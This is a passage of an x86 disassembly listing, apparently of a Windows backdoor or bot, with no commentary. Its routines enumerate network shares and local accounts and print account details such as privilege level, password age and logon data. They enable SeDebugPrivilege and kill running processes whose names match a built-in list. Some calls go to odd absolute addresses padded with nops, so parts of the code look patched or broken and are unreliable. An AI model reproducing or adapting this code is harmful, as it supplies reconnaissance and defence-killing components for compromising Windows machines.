sub_418FA3+65j ; sub_418FA3+97j mov eax, esi pop edi pop esi pop ebp retn sub_418FA3 endp ; =============== S U B R O U T I N E ======================================= sub_419062 proc near ; CODE XREF: sub_41A367+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_41906F xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_41906F: ; CODE XREF: sub_419062+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_427194 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_4D917C, 1 mov ebp, eax jnz short loc_4190AC or byte_4D917C, 1 lea eax, [ebp+1] push eax call sub_41D735 pop ecx mov dword_4D8F1C, eax loc_4190AC: ; CODE XREF: sub_419062+32j push esi push esi push ebp push dword_4D8F1C push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4D8F1C pop edi pop ebp pop ebx pop esi retn sub_419062 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4190C9 proc near ; CODE XREF: sub_418FA3+6Dp ; sub_41A68B+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_419134 push [ebp+arg_4] mov edi, eax call sub_419134 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41C720 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_419134 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4C91F8 pop edi leave retn sub_4190C9 endp ; =============== S U B R O U T I N E ======================================= sub_419134 proc near ; CODE XREF: sub_4190C9+Ap ; sub_4190C9+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_419141 pop ebp retn ; --------------------------------------------------------------------------- loc_419141: ; CODE XREF: sub_419134+9j push ebx push esi mov esi, dword_4270F0 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41D735 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_419134 endp ; =============== S U B R O U T I N E ======================================= sub_419175 proc near ; CODE XREF: sub_418FA3+20p ; sub_41A367+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419134 push [esp+8+arg_4] mov esi, eax call sub_419134 pop ecx pop ecx push 0 push eax push esi call dword_4C91D0 pop esi retn sub_419175 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419198 proc near ; CODE XREF: sub_401AC7+45D1p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_419134 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 18h loc_4191D1: ; CODE XREF: sub_419198+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4C9248 mov ebx, eax cmp ebx, esi jz short loc_419234 cmp ebx, 0EAh jz short loc_419234 push ebx push ebx call sub_41994D pop ecx push eax lea eax, [ebp+var_210] push offset unk_439438 push eax call sub_41C006 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 24h jmp short loc_4192A1 ; --------------------------------------------------------------------------- loc_419234: ; CODE XREF: sub_419198+5Dj ; sub_419198+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_419298 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_419242: ; CODE XREF: sub_419198+FCj push dword ptr [esi+10h] call dword_4C91EC test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_419259 mov eax, offset aNo ; "No" loc_419259: ; CODE XREF: sub_419198+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41C006 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_419242 xor esi, esi loc_419298: ; CODE XREF: sub_419198+A2j push [ebp+var_4] call dword_4C9394 loc_4192A1: ; CODE XREF: sub_419198+9Aj cmp ebx, 0EAh jz loc_4191D1 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_419198 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192B9 proc near ; CODE XREF: sub_401AC7:loc_40610Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_41935D mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_4192FB dec eax jz short loc_4192F0 dec eax jnz short loc_419316 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_4193FF add esp, 14h jmp short loc_419312 ; --------------------------------------------------------------------------- loc_4192F0: ; CODE XREF: sub_4192B9+1Dj push ebx push edi call sub_4193DE pop ecx pop ecx jmp short loc_419312 ; --------------------------------------------------------------------------- loc_4192FB: ; CODE XREF: sub_4192B9+1Aj cmp [ebp+arg_8], edi jz short loc_41930F push [ebp+arg_8] push ebx push edi call sub_419384 add esp, 0Ch jmp short loc_419312 ; --------------------------------------------------------------------------- loc_41930F: ; CODE XREF: sub_4192B9+45j push 57h pop eax loc_419312: ; CODE XREF: sub_4192B9+35j ; sub_4192B9+40j ... cmp eax, edi jnz short loc_419336 loc_419316: ; CODE XREF: sub_4192B9+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4D9180 push off_438D44[eax*4] push offset unk_4394F0 push esi call sub_41C006 add esp, 10h jmp short loc_41937D ; --------------------------------------------------------------------------- loc_419336: ; CODE XREF: sub_4192B9+5Bj push eax call sub_41994D push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4D9180 push off_438D40[eax*4] push offset unk_4394C0 push esi call sub_41C006 add esp, 18h jmp short loc_41937D ; --------------------------------------------------------------------------- loc_41935D: ; CODE XREF: sub_4192B9+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4D9180 lea eax, [eax+eax*2] push off_438D40[eax*4] push offset unk_439498 push esi call sub_41C006 add esp, 0Ch loc_41937D: ; CODE XREF: sub_4192B9+7Bj ; sub_4192B9+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_4192B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419384 proc near ; CODE XREF: sub_4192B9+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_419134 push [ebp+arg_4] mov edi, eax call sub_419134 push [ebp+arg_8] mov [ebp+var_24], eax call sub_419134 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4C91DC pop edi leave retn sub_419384 endp ; =============== S U B R O U T I N E ======================================= sub_4193DE proc near ; CODE XREF: sub_4192B9+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419134 push [esp+8+arg_4] mov esi, eax call sub_419134 pop ecx pop ecx push eax push esi call dword_4C91CC pop esi retn sub_4193DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193FF proc near ; CODE XREF: sub_4192B9+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_419134 push [ebp+arg_4] mov esi, eax call sub_419134 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4C935C test eax, eax mov [ebp+arg_0], eax jnz loc_41978C mov eax, [ebp+var_4] test eax, eax jz loc_4197C7 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41C006 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_419518 dec eax jz short loc_419511 dec eax jz short loc_41950A mov eax, offset aUnknown ; "Unknown" jmp short loc_41951D ; --------------------------------------------------------------------------- loc_41950A: ; CODE XREF: sub_4193FF+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_41951D ; --------------------------------------------------------------------------- loc_419511: ; CODE XREF: sub_4193FF+FFj mov eax, offset aUser_0 ; "User" jmp short loc_41951D ; --------------------------------------------------------------------------- loc_419518: ; CODE XREF: sub_4193FF+FCj mov eax, offset aGuest ; "Guest" loc_41951D: ; CODE XREF: sub_4193FF+109j ; sub_4193FF+110j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41C006 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409862 add esp, 20h pop edi pop ebx jmp short loc_4197B8 ; --------------------------------------------------------------------------- loc_41978C: ; CODE XREF: sub_4193FF+35j push eax lea eax, [ebp+var_204] push offset unk_439510 push eax call sub_41C006 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409862 add esp, 20h loc_4197B8: ; CODE XREF: sub_4193FF+38Bj cmp [ebp+var_4], 0 jz short loc_4197C7 push [ebp+var_4] call dword_4C9394 loc_4197C7: ; CODE XREF: sub_4193FF+40j ; sub_4193FF+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_4193FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4197CD proc near ; CODE XREF: sub_401AC7+4673p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_419134 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 18h loc_41980C: ; CODE XREF: sub_4197CD+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4C9264 cmp eax, esi mov [ebp+var_C], eax jz short loc_41986D cmp eax, 0EAh jz short loc_41986D push eax push eax call sub_41994D pop ecx push eax lea eax, [ebp+var_218] push offset unk_439700 push eax call sub_41C006 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 24h jmp short loc_4198E8 ; --------------------------------------------------------------------------- loc_41986D: ; CODE XREF: sub_4197CD+62j ; sub_4197CD+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_4198FB xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_4198E8 loc_41987F: ; CODE XREF: sub_4197CD+EDj cmp edi, esi jz short loc_4198BE push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41C006 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_41987F jmp short loc_4198E8 ; --------------------------------------------------------------------------- loc_4198BE: ; CODE XREF: sub_4197CD+B4j lea eax, [ebp+var_218] push offset unk_4396CC push eax call sub_41C006 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 1Ch loc_4198E8: ; CODE XREF: sub_4197CD+9Ej ; sub_4197CD+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_4198FB push edi call dword_4C9394 xor edi, edi mov [ebp+var_4], edi loc_4198FB: ; CODE XREF: sub_4197CD+A5j ; sub_4197CD+120j cmp [ebp+var_C], 0EAh jz loc_41980C cmp edi, esi jz short loc_419913 push edi call dword_4C9394 loc_419913: ; CODE XREF: sub_4197CD+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41C006 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4197CD endp ; =============== S U B R O U T I N E ======================================= sub_41994D proc near ; CODE XREF: sub_418FA3+41p ; sub_419198+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_4199FF jz loc_4199F8 cmp eax, 7Bh ja short loc_4199C4 jz short loc_4199BA cmp eax, 5 jz short loc_4199B0 cmp eax, 8 jz short loc_4199A6 cmp eax, 32h jz short loc_41999C cmp eax, 35h jz short loc_419992 cmp eax, 57h jnz loc_419A4E push offset aInvalidParamet ; "Invalid parameter." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_419992: ; CODE XREF: sub_41994D+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_41999C: ; CODE XREF: sub_41994D+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_4199A6: ; CODE XREF: sub_41994D+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_4199B0: ; CODE XREF: sub_41994D+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_4199BA: ; CODE XREF: sub_41994D+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_4199C4: ; CODE XREF: sub_41994D+1Aj sub eax, 7Ch jz short loc_4199F1 sub eax, 7C8h jz short loc_4199EA dec eax jz short loc_4199E0 dec eax jnz short loc_419A4E push offset aDuplicateShare ; "Duplicate share name." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_4199E0: ; CODE XREF: sub_41994D+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419A6F ; --------------------------------------------------------------------------- loc_4199EA: ; CODE XREF: sub_41994D+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_4199F1: ; CODE XREF: sub_41994D+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_4199F8: ; CODE XREF: sub_41994D+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_4199FF: ; CODE XREF: sub_41994D+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_419A38 jz short loc_419A31 sub eax, 8ADh jz short loc_419A63 dec eax dec eax jz short loc_419A2A dec eax jz short loc_419A23 dec eax dec eax jnz short loc_419A4E push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A23: ; CODE XREF: sub_41994D+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A2A: ; CODE XREF: sub_41994D+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A31: ; CODE XREF: sub_41994D+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A38: ; CODE XREF: sub_41994D+B9j sub eax, 8CAh jz short loc_419A6A sub eax, 17h jz short loc_419A63 sub eax, 25h jz short loc_419A5C sub eax, 29h jz short loc_419A55 loc_419A4E: ; CODE XREF: sub_41994D+35j ; sub_41994D+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A55: ; CODE XREF: sub_41994D+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A5C: ; CODE XREF: sub_41994D+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A63: ; CODE XREF: sub_41994D+C2j ; sub_41994D+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419A6F ; --------------------------------------------------------------------------- loc_419A6A: ; CODE XREF: sub_41994D+F0j push offset aNetworkConnect ; "Network connection not found." loc_419A6F: ; CODE XREF: sub_41994D+40j ; sub_41994D+4Aj ... push offset dword_4D8F20 call sub_41C006 pop ecx mov eax, offset dword_4D8F20 pop ecx retn sub_41994D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A81 proc near ; CODE XREF: sub_401AC7+46B8p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41DFD4 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 26D0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41DFD4 lea eax, [ebp+var_718] push eax call sub_41DFB7 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4C9314 test eax, eax jnz short loc_419B11 mov esi, offset dword_4D8D1C push offset unk_439A34 push esi call sub_41C006 pop ecx pop ecx jmp short loc_419B3A ; --------------------------------------------------------------------------- loc_419B11: ; CODE XREF: sub_419A81+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_41994D pop ecx mov esi, offset dword_4D8D1C push eax push offset dword_439A08 push esi call sub_41C006 add esp, 14h loc_419B3A: ; CODE XREF: sub_419A81+8Ej mov eax, esi pop esi leave retn sub_419A81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B3F proc near ; CODE XREF: sub_417269+45p ; sub_417269+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call near ptr 2740594h nop push eax call dword_4C92E8 test eax, eax jnz short loc_419B5E leave retn ; --------------------------------------------------------------------------- loc_419B5E: ; CODE XREF: sub_419B3F+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4C92C0 test eax, eax jz short loc_419B9C cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419B85 or [ebp+var_8], 2 jmp short loc_419B89 ; --------------------------------------------------------------------------- loc_419B85: ; CODE XREF: sub_419B3F+3Ej and [ebp+var_8], 0FFFFFFFDh loc_419B89: ; CODE XREF: sub_419B3F+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4C9370 mov esi, eax loc_419B9C: ; CODE XREF: sub_419B3F+32j push [ebp+var_4] nop call near ptr 2660000h mov eax, esi pop esi leave retn sub_419B3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419BAA proc near ; CODE XREF: sub_401AC7+7781p ; sub_419DD9+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4C9324, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_419DA9 cmp dword_4C9308, ebx jz loc_419DA9 cmp dword_4C9218, ebx jz loc_419DA9 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B3F pop ecx pop ecx push ebx push 0Fh call dword_4C9324 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_419D9C lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4C9308 mov esi, dword_427078 test eax, eax jz loc_419D97 lea eax, [ebp+var_130] push eax push edi call dword_4C9218 test eax, eax jz loc_419D97 mov edi, dword_427094 mov ebx, 1F0FFFh loc_419C6E: ; CODE XREF: sub_419BAA+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_419CD5 mov [ebp+var_4], offset off_439A60 loc_419C7C: ; CODE XREF: sub_419BAA+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax call near ptr 2840000h nop test eax, eax jz short loc_419CA4 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_439AC0 jl short loc_419C7C jmp loc_419D7D ; --------------------------------------------------------------------------- loc_419CA4: ; CODE XREF: sub_419BAA+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_419D7D push 0 push eax nop call near ptr 2730D36h test eax, eax jnz loc_419D7D loc_419CCB: ; CODE XREF: sub_419BAA+1B9j push [ebp+var_4] call esi jmp loc_419D7D ; --------------------------------------------------------------------------- loc_419CD5: ; CODE XREF: sub_419BAA+C9j cmp [ebp+arg_C], eax jnz loc_419D68 cmp [ebp+arg_4], eax jz loc_419D7D push [ebp+var_128] push 8 call dword_4C9324 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_419D28 lea ecx, [ebp+var_354] push ecx push eax call dword_4C91C4 push [ebp+var_128] test eax, eax jz short loc_419D2E lea eax, [ebp+var_234] jmp short loc_419D34 ; --------------------------------------------------------------------------- loc_419D28: ; CODE XREF: sub_419BAA+15Cj push [ebp+var_128] loc_419D2E: ; CODE XREF: sub_419BAA+174j lea eax, [ebp+var_10C] loc_419D34: ; CODE XREF: sub_419BAA+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41C006 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h jmp loc_419CCB ; --------------------------------------------------------------------------- loc_419D68: ; CODE XREF: sub_419BAA+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_419DB0 loc_419D7D: ; CODE XREF: sub_419BAA+F5j ; sub_419BAA+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4C9218 test eax, eax jnz loc_419C6E xor ebx, ebx loc_419D97: ; CODE XREF: sub_419BAA+9Dj ; sub_419BAA+B3j push [ebp+var_8] call esi loc_419D9C: ; CODE XREF: sub_419BAA+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B3F pop ecx pop ecx loc_419DA9: ; CODE XREF: sub_419BAA+3Aj ; sub_419BAA+46j ... xor eax, eax loc_419DAB: ; CODE XREF: sub_419BAA+22Dj pop 